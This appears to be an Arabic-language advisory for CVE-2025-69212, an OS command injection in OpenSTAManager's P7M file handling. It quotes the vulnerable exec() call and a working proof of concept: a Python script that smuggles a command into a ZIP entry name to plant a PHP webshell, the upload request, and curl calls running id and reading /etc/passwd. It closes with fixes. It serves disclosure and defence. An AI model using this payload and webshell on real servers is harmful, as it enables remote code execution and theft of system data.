
CVE-2025-69212 - يحتوي OpenSTAManager على ثغرة حقن أوامر نظام التشغيل في معالجة ملفات P7M
| الحقل | التفاصيل |
|---|---|
| معرّف CVE | CVE-2025-69212 |
| الخطورة | CRITICAL |
| الاستشارة الأمنية | عرض الاستشارة |
| اكتشفها | Lukasz Rybak |
توجد ثغرة حرجة من نوع حقن أوامر نظام التشغيل (OS Command Injection) في وظيفة فك ترميز ملفات P7M (XML الموقّع). يمكن لمهاجم مُوثَّق رفع ملف ZIP يحتوي على ملف .p7m باسم ملف خبيث لتنفيذ أوامر نظام تعسفية على الخادم.
الملف: src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$content = file_get_contents($file);
$output_file = $directory.'/'.basename($file, '.p7m');
try {
if (function_exists('exec')) {
// VULNERABLE - No input sanitization!
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
المشكلة:
$file مباشرة إلى exec() دون أي تعقيمplugins/importFE_ZIP/actions.php:126 (عند تفعيل الاستيراد التلقائي)
foreach ($files_xml as $xml) {
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml); // $xml from ZIP!
plugins/importFE/src/FatturaElettronica.php:56 (دالة البناء)
if (string_ends_with($name, '.p7m')) {
$file = XML::decodeP7M($this->file); // $name from user input!
.p7m، يتم استدعاء decodeP7M()exec()⚠️ ملاحظة مهمة: تقوم الدالة ZipArchive::extractTo() في PHP بتقسيم أسماء الملفات عند الحرف /. يجب ألّا يحتوي الحمّل (Payload) على / في الأوامر. استخدم cd directory && command بدلاً من المسارات المطلقة.
import zipfile
cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip
[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"
save
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"
14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"
48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
الاستجابة (خطأ 500 متوقّع - يفشل تحليل XML بعد تنفيذ الأمر):
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}
التحقق - تم إنشاء الوب شيل (Webshell):
الوب شيل متاح للجميع دون مصادقة:
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
public static function decodeP7M($file)
{
// Validate that file path doesn't contain shell metacharacters
if (preg_match('/[;&|`$(){}\\[\\]<>]/', $file)) {
throw new \Exception('Invalid file path');
}
// Better: use escapeshellarg()
$safe_file = escapeshellarg($file);
$safe_output = escapeshellarg($output_file);
exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}
أو
// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
// Only allow alphanumeric, dots, dashes, underscores
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
continue; // Skip invalid filenames
}
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml);
}
}
اكتشفها: Łukasz Rybak
تم الكشف عن هذا CVE بشكل مسؤول وفقًا لممارسات الإفصاح المنسّق عن الثغرات. المعلومات الواردة هنا لأغراض تعليمية ودفاعية فقط.